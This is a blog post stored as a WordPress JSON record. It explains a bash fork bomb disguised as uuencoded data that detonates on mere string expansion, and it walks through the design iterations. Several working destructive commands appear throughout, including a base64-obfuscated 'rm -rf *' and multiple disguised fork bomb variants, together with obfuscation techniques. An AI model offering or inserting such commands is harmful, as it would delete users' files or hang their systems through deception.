{"id":766,"date":"2019-06-10T19:11:14","date_gmt":"2019-06-10T19:11:14","guid":{"rendered":"http:\/\/www.vidarholen.net\/contents\/blog\/?p=766"},"modified":"2019-06-10T19:11:14","modified_gmt":"2019-06-10T19:11:14","slug":"tricking-the-tricksters-with-a-next-level-fork-bomb","status":"publish","type":"post","link":"https:\/\/www.vidarholen.net\/contents\/blog\/?p=766","title":{"rendered":"Tricking the tricksters with a next level fork bomb"},"content":{"rendered":"<p><strong>Do not copy-paste anything from this article into your shell. You have been warned.<\/strong><\/p>\n<p>Some people make a cruel sport out of tricking newbies into running destructive shell commands.<\/p>\n<p>Often, this takes the form of crudely obscured commands like this one, which will result in a <code>rm -rf *<\/code> being executed in the current directory, deleting everything:<\/p>\n<pre><code>$(echo cm0gLXJmICoK | base64 -d)<\/code><\/pre>\n<p>Years ago, I came across someone doing this, and decided to trick them back.<\/p>\n<p>Now, I\u2019m not enough of a jerk to trick anyone into deleting their files, but I\u2019m more than willing to let wanna-be hackers fork bomb themselves.<\/p>\n<p>I designed a fork bomb in such a way that even when people <em>know<\/em> it\u2019s a destructive command, they <em>still run it<\/em>! At the risk of you doing the same, here it is:<\/p>\n<pre><code>eval $(echo \"I&lt;RA('1E&lt;W3t`rYWdl&amp;r()(Y29j&amp;r{,3Rl7Ig}&amp;r{,T31wo});r`26&lt;F]F;==\" | uudecode)<\/code><\/pre>\n<p>It looks like yet another crudely obscured command, but it\u2019s not. It does not prey on unsuspecting newbies\u2019 tendencies to run commands they don\u2019t understand.<\/p>\n<p>Instead, it targets people who are familiar with that kind of trick, who know it\u2019s going to be destructive, and exploits <em>their<\/em> schadenfreude and curiosity.<\/p>\n<p>For the previous command, such a person would remove the surrounding <code>$(..)<\/code> to find out what a victim would have been fooled into executing:<\/p>\n<pre><code>$ echo cm0gLXJmICoK | base64 -d\nrm -rf *<\/code><\/pre>\n<p>But when they similarly modify this command to see what horror will befall the newbie stupid enough to run it:<\/p>\n<pre><code>echo \"I&lt;RA('1E&lt;W3t`rYWdl&amp;r()(Y29j&amp;r{,3Rl7Ig}&amp;r{,T31wo});r`26&lt;F]F;==\" | uudecode<\/code><\/pre>\n<p>They\u2019ll suddenly find their system slowing to a crawl until a forced reboot! As it turns out, <em>they<\/em> were the newbie all along.<\/p>\n<p>You see, the <code>eval<\/code> (\u2026dramatic pause\u2026) was a decoy!<\/p>\n<p>In fact, the <code>uudecode<\/code>, <code>echo<\/code> and <code>$(..)<\/code> were all just part of the act. They\u2019re purely for misdirection, and don\u2019t serve any functional purpose.<\/p>\n<p>No decoding, execution or evaluation is required for the bomb to explode. Instead it\u2019s set off by the simple expansion, in any context, of this argument:<\/p>\n<pre><code>\"I&lt;RA('1E&lt;W3t`rYWdl&amp;r()(Y29j&amp;r{,3Rl7Ig}&amp;r{,T31wo});r`26&lt;F]F;==\"<\/code><\/pre>\n<p>Even most of this string is just for show, designed to make it look more like uuencoded data. Here it is with all the arbitrary characters replaced with underscores:<\/p>\n<pre><code>\"____________`_____&amp;r()(____&amp;r{,______}&amp;r{,_____});r`_________\"<\/code><\/pre>\n<p>And here it\u2019s written more cleanly:<\/p>\n<pre><code>\" `r() ( r &amp; r ); r` \"<\/code><\/pre>\n<p>Now it\u2019s your bog standard fork bomb in a command expansion.<\/p>\n<hr>\n<p>I went through a few iterations designing this trap. The first one was this:<\/p>\n<pre><code>eval $(echo 'a2Vrf3xvcml'\\ZW%3t`r()(r|r);r`2'6a2VrZQo=' | base64 -d)<\/code><\/pre>\n<p>It has the same basic form, but several problems:<\/p>\n<ul>\n<li>Base64 is pretty well known, and this clearly isn\u2019t it<\/li>\n<li>It\u2019s quite obvious from the quotes that the literal string stops and starts<\/li>\n<li>The fork bomb, <code>r()(r|r);r<\/code> really sticks out<\/li>\n<\/ul>\n<p>base64 is almost entirely alphanumeric, e.g. <code>bW9yZSBnYXJiYWdlIGhlcmUK<\/code>, while uuencoded data (if you can even remember what it looks like), has a bunch of symbols that would obscure any embedded shell code: <code>1&lt;V]M92!G87)B86=E(&amp;AE&lt;F4`<\/code>. I broke up the long gibberish base64-ish strings with symbols to match.<\/p>\n<p>For the quotes, I shoved it in simple double quotes and hoped no one would notice the amount of questionable characters put in an interpolated string.<\/p>\n<p>For the bomb itself, I wanted to find a way to insert more gibberish, but without adding any spaces that attract the eyes. Making the string <code>r<\/code> longer would work, but the repetition would be noticeable.<\/p>\n<p>The fix I ended up with was using brace expansion: <code>foo.{jpg,png}<\/code> expands to <code>foo.jpg foo.png<\/code>, and <code>r{,foo}<\/code> expands to <code>r foo<\/code>. This invokes <code>r<\/code> with an argument that the function ignores.<\/p>\n<p>The second version was this:<\/p>\n<pre><code>eval $(echo \"I&lt;RA('1E&lt;W3t`p&amp;r()(rofl&amp;r{,3Rl7Ig}&amp;r{,T31wo});r`26&lt;F]F;==\" | uudecode)<\/code><\/pre>\n<p>The idea here was that <code>rofl<\/code> would be executed on every fork, filling the screen with \u201crofl: command not found\u201d for some extra finesse, but I figured that such a recognizable word would attract attention and further scrutiny.<\/p>\n<p>In the end, I arrived at the final version, and it was quite effective. Several people involved in the noob sniping sheepishly admitted that they fell for it.<\/p>\n<p>I essentially forgot about it, but other people apparently didn\u2019t. About a year later someone asked about it on SuperUser, where you can find an <a href=\"https:\/\/superuser.com\/questions\/996795\/how-and-why-is-this-string-of-text-a-fork-bomb\">even better analysis<\/a>.<\/p>\n<p>And now you have the backstory as well.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Do not copy-paste anything from this article into your shell. You have been warned. Some people make a cruel sport out of tricking newbies into running destructive shell commands. Often, this takes the form of crudely obscured commands like this one, which will result in a rm -rf * being executed in the current directory, &hellip; <a href=\"https:\/\/www.vidarholen.net\/contents\/blog\/?p=766\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Tricking the tricksters with a next level fork bomb&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","jetpack_publicize_message":"","jetpack_is_tweetstorm":false,"jetpack_publicize_feature_enabled":true},"categories":[6,4,1],"tags":[11,21],"class_list":["post-766","post","type-post","status-publish","format-standard","hentry","category-basic-linux","category-linux","category-uncategorized","tag-bash","tag-shell-script"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=\/wp\/v2\/posts\/766","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=766"}],"version-history":[{"count":24,"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=\/wp\/v2\/posts\/766\/revisions"}],"predecessor-version":[{"id":790,"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=\/wp\/v2\/posts\/766\/revisions\/790"}],"wp:attachment":[{"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=766"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vidarholen.net\/contents\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}